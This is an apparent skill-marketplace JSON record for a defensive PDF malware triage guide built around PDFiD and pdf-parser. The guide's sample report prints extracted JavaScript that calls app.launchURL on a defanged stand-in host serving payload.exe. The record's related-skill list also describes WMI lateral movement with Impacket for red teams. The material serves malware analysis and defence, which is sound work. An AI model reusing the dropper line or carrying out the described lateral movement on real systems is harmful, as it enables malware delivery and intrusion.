[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71F0CPRN3DJ15VR95WJZBBY":3,"skill-same:01M71F0CPRN3DJ15VR95WJZBBY":61},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":29,"linkOnly":30,"markdownContent":31,"markdownBody":32,"frontMatter":33,"refName":34,"commitSha":35,"skillDirectory":36,"forksCount":14,"repositoryHtmlUrl":37,"repositoryHomepageUrl":6,"ownerHtmlUrl":38,"ownerBlogUrl":6,"ownerDescription":39,"updatedAt":40,"install":41,"resources":54},"01M71F0CPRN3DJ15VR95WJZBBY","malware-pdf-pdfid",null,"Malware Pdf Pdfid.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fmalware-pdf-pdfid\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000002","文档处理","SCENARIO","使用场景",[24,25,26,27,28],"PDF","malware","pdfid","malware pdf pdfid","cybersecurity","2026-11-10 10:12:30",false,"---\nname: malware-pdf-pdfid\ndescription: \"Malware Pdf Pdfid.\"\ndomain: cybersecurity\n---\n\n|\n| **PDF Object** | Basic building block of a PDF file; objects can contain streams (compressed data), dictionaries, arrays, and references to other objects |\n| **OpenAction** | PDF dictionary entry specifying an action to execute when the document is opened; commonly used to trigger JavaScript exploits |\n| **PDF Stream** | Compressed data within a PDF object that can contain JavaScript, images, embedded files, or shellcode; typically FlateDecode compressed |\n| **FlateDecode** | Zlib\u002Fdeflate compression filter applied to PDF streams; must be decompressed to analyze contents |\n| **ObjStm (Object Stream)** | PDF feature storing multiple objects within a single compressed stream; used by malware to hide suspicious objects from simple parsers |\n| **JBIG2** | Image compression standard in PDFs; historical source of exploits (CVE-2009-0658, CVE-2021-30860 FORCEDENTRY) |\n| **PDF JavaScript API** | Adobe-specific JavaScript extensions available in PDF documents for form manipulation, network access, and OS interaction |\n\n## Tools & Systems\n\n- **PDFiD**: Didier Stevens' tool for scanning PDF documents for suspicious keywords and structures without parsing the full document\n- **pdf-parser**: Companion tool to PDFiD for detailed PDF object extraction, stream decompression, and content analysis\n- **peepdf**: Python-based PDF analysis tool providing interactive shell for object inspection and JavaScript extraction\n- **QPDF**: PDF transformation tool for linearizing, decrypting, and restructuring PDFs for easier analysis\n- **scdbg**: Shellcode analysis tool that emulates x86 shellcode execution and logs API calls\n\n## Common Scenarios\n\n### Scenario: Triaging a Phishing PDF with Embedded JavaScript\n\n**Context**: Email gateway flagged a PDF attachment with suspicious JavaScript indicators. The security team needs to determine if it contains an exploit or a social engineering redirect.\n\n**Approach**:\n1. Run PDFiD to confirm \u002FJS, \u002FJavaScript, and \u002FOpenAction presence and counts\n2. Use pdf-parser to extract the OpenAction object and follow its reference chain\n3. Extract the JavaScript code from the referenced stream object (apply FlateDecode filter)\n4. Deobfuscate the JavaScript (decode hex strings, resolve eval chains)\n5. Determine if the script exploits a PDF reader vulnerability (check for heap spray, ROP chains) or performs a redirect\n6. Extract all URLs, IPs, and embedded files as IOCs\n7. Classify the sample: exploit (specific CVE) or social engineering (redirect\u002Fphishing)\n\n**Pitfalls**:\n- Opening the PDF in a standard reader instead of analyzing it with command-line tools\n- Missing JavaScript hidden inside Object Streams (\u002FObjStm) that PDFiD detects but simple parsers miss\n- Not decompressing streams before analysis (FlateDecode, ASCIIHexDecode, ASCII85Decode filters)\n- Assuming the absence of \u002FJS means no JavaScript; code can be embedded in form fields (\u002FAcroForm with \u002FXFA)\n\n## Output Format\n\n```\nPDF MALWARE ANALYSIS REPORT\n==============================\nFile:             invoice_2025.pdf\nSHA-256:          e3b0c44298fc1c149afbf4c8996fb924...\nFile Size:        45,312 bytes\nPDF Version:      1.7\n\nPDFID TRIAGE\n\u002FJS:              1  [HIGH RISK]\n\u002FJavaScript:      1  [HIGH RISK]\n\u002FOpenAction:      1  [HIGH RISK]\n\u002FEmbeddedFile:    0\n\u002FLaunch:          0\n\u002FURI:             2\n\u002FPage:            1\n\u002FObjStm:          1  [OBFUSCATION]\n\nSUSPICIOUS OBJECTS\nObject 5:        \u002FOpenAction -> references Object 8\nObject 8:        \u002FJavaScript stream (FlateDecode, 2,847 bytes decompressed)\nObject 12:       \u002FObjStm containing objects 15-18\n\nEXTRACTED JAVASCRIPT\nLayer 1:          eval(unescape(\"%68%65%6C%6C%6F\"))\nLayer 2:          var url = \"hxxp:\u002F\u002Fmalicious[.]com\u002Fpayload.exe\";\n                  app.launchURL(url, true);\n                  \u002F\u002F Social engineering redirect, not exploit\n\nEXTRACTED IOCs\nURLs:             hxxp:\u002F\u002Fmalicious[.]com\u002Fpayload.exe\n                  hxxps:\u002F\u002Ffake-login[.]com\u002Fadobe\u002Fverify\nDomains:          malicious[.]com, fake-login[.]com\n\nCLASSIFICATION\nType:             Social Engineering (URL redirect)\nCVE:              None (no exploit code detected)\nRisk:             HIGH (downloads executable payload)\nFamily:           Generic PDF Dropper\n```\n","|\n| **PDF Object** | Basic building block of a PDF file; objects can contain streams (compressed data), dictionaries, arrays, and references to other objects |\n| **OpenAction** | PDF dictionary entry specifying an action to execute when the document is opened; commonly used to trigger JavaScript exploits |\n| **PDF Stream** | Compressed data within a PDF object that can contain JavaScript, images, embedded files, or shellcode; typically FlateDecode compressed |\n| **FlateDecode** | Zlib\u002Fdeflate compression filter applied to PDF streams; must be decompressed to analyze contents |\n| **ObjStm (Object Stream)** | PDF feature storing multiple objects within a single compressed stream; used by malware to hide suspicious objects from simple parsers |\n| **JBIG2** | Image compression standard in PDFs; historical source of exploits (CVE-2009-0658, CVE-2021-30860 FORCEDENTRY) |\n| **PDF JavaScript API** | Adobe-specific JavaScript extensions available in PDF documents for form manipulation, network access, and OS interaction |\n\n## Tools & Systems\n\n- **PDFiD**: Didier Stevens' tool for scanning PDF documents for suspicious keywords and structures without parsing the full document\n- **pdf-parser**: Companion tool to PDFiD for detailed PDF object extraction, stream decompression, and content analysis\n- **peepdf**: Python-based PDF analysis tool providing interactive shell for object inspection and JavaScript extraction\n- **QPDF**: PDF transformation tool for linearizing, decrypting, and restructuring PDFs for easier analysis\n- **scdbg**: Shellcode analysis tool that emulates x86 shellcode execution and logs API calls\n\n## Common Scenarios\n\n### Scenario: Triaging a Phishing PDF with Embedded JavaScript\n\n**Context**: Email gateway flagged a PDF attachment with suspicious JavaScript indicators. The security team needs to determine if it contains an exploit or a social engineering redirect.\n\n**Approach**:\n1. Run PDFiD to confirm \u002FJS, \u002FJavaScript, and \u002FOpenAction presence and counts\n2. Use pdf-parser to extract the OpenAction object and follow its reference chain\n3. Extract the JavaScript code from the referenced stream object (apply FlateDecode filter)\n4. Deobfuscate the JavaScript (decode hex strings, resolve eval chains)\n5. Determine if the script exploits a PDF reader vulnerability (check for heap spray, ROP chains) or performs a redirect\n6. Extract all URLs, IPs, and embedded files as IOCs\n7. Classify the sample: exploit (specific CVE) or social engineering (redirect\u002Fphishing)\n\n**Pitfalls**:\n- Opening the PDF in a standard reader instead of analyzing it with command-line tools\n- Missing JavaScript hidden inside Object Streams (\u002FObjStm) that PDFiD detects but simple parsers miss\n- Not decompressing streams before analysis (FlateDecode, ASCIIHexDecode, ASCII85Decode filters)\n- Assuming the absence of \u002FJS means no JavaScript; code can be embedded in form fields (\u002FAcroForm with \u002FXFA)\n\n## Output Format\n\n```\nPDF MALWARE ANALYSIS REPORT\n==============================\nFile:             invoice_2025.pdf\nSHA-256:          e3b0c44298fc1c149afbf4c8996fb924...\nFile Size:        45,312 bytes\nPDF Version:      1.7\n\nPDFID TRIAGE\n\u002FJS:              1  [HIGH RISK]\n\u002FJavaScript:      1  [HIGH RISK]\n\u002FOpenAction:      1  [HIGH RISK]\n\u002FEmbeddedFile:    0\n\u002FLaunch:          0\n\u002FURI:             2\n\u002FPage:            1\n\u002FObjStm:          1  [OBFUSCATION]\n\nSUSPICIOUS OBJECTS\nObject 5:        \u002FOpenAction -> references Object 8\nObject 8:        \u002FJavaScript stream (FlateDecode, 2,847 bytes decompressed)\nObject 12:       \u002FObjStm containing objects 15-18\n\nEXTRACTED JAVASCRIPT\nLayer 1:          eval(unescape(\"%68%65%6C%6C%6F\"))\nLayer 2:          var url = \"hxxp:\u002F\u002Fmalicious[.]com\u002Fpayload.exe\";\n                  app.launchURL(url, true);\n                  \u002F\u002F Social engineering redirect, not exploit\n\nEXTRACTED IOCs\nURLs:             hxxp:\u002F\u002Fmalicious[.]com\u002Fpayload.exe\n                  hxxps:\u002F\u002Ffake-login[.]com\u002Fadobe\u002Fverify\nDomains:          malicious[.]com, fake-login[.]com\n\nCLASSIFICATION\nType:             Social Engineering (URL redirect)\nCVE:              None (no exploit code detected)\nRisk:             HIGH (downloads executable payload)\nFamily:           Generic PDF Dropper\n```\n",{"name":5,"domain":28,"description":7},"main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Fmalware-pdf-pdfid","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":42,"prompt":52,"zipAvailable":53},[43,46,49],{"tool":44,"command":45},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill malware-pdf-pdfid",{"tool":47,"command":48},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill malware-pdf-pdfid",{"tool":50,"command":51},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill malware-pdf-pdfid","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fmalware-pdf-pdfid\u002FSKILL.md",true,[55],{"path":56,"resourceType":57,"resourceTypeDesc":58,"sizeBytes":59,"sourceHtmlUrl":60},"index.json","REFERENCE","参考文档",468,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fmalware-pdf-pdfid\u002Findex.json",[62,87,110,132,154,170],{"skillNo":63,"name":64,"nameZh":6,"description":65,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":66,"categories":67,"keywords":68,"publishedAt":29},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,28,86],"services","detect","services wmi persistence detect","wmi","persistence","de","cm","process","activescript","event","subscriptions","commandline-consumer","repository","subscription","event-subscription","t1546.003","forensics","process-forensics",{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":29},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[94,69,95,72,96,97,98,28,99,100,101,102,103,104,74,105,106,107,108,109],"exploit","services wmi exec exploit","exec","remote","traffic","Bash","analysis","team","across","crackmapexec","native","command","lateral movement","read","lateral-movement","Impacket",{"skillNo":111,"name":112,"nameZh":6,"description":113,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":114,"categories":115,"keywords":116,"publishedAt":29},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[117,118,119,120,121,122,28,99,123,100,124,125,74,107,126,127,128,129,130,131],"artifact","registry","registry artifact extract","extract","evidence-collection","artifact-analysis","collection","analyze","uncover","software","activity","digital-forensics","windows-registry","regripper","sonnet",{"skillNo":133,"name":134,"nameZh":6,"description":135,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":136,"categories":137,"keywords":138,"publishedAt":29},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[70,139,140,141,142,143,144,75,145,28,86,146,147,148,149,150,151,152,153,74],"processes token impersonate detect","token","processes","attacks","windows","escalation","techniques","privilege-escalation","seimpersonate","token-impersonation","printspoofer","exploitation","potato","impersonation","via",{"skillNo":155,"name":156,"nameZh":6,"description":157,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":158,"categories":159,"keywords":160,"publishedAt":29},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[161,162,70,163,141,143,164,75,165,145,28,86,100,166,167,168,169,153,74,76],"thread","processes thread injection detect","injection","memory","process-injection","api","apc-injection","thread-injection","nt-api",{"skillNo":171,"name":172,"nameZh":6,"description":173,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":174,"categories":175,"keywords":176,"publishedAt":29},"01M71HA7H311V5G14WMX58HQSS","processes-hollow-technique-detect","Detect process hollowing (RunPE) by identifying processes with mismatched image paths between PEB and VAD tree, or unmapped PE headers in memory.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fhollow\u002Ftechnique\u002Fdetect\u002FSKILL.md",[],[177,70,141,178,164,75,179,180,28,86,181,182,183,184,185,186,74,76,187,188],"processes hollow technique detect","tree","memory-forensics","process-hollow","peb","runpe","image","pe-header","in memory","with","mismatched","headers"]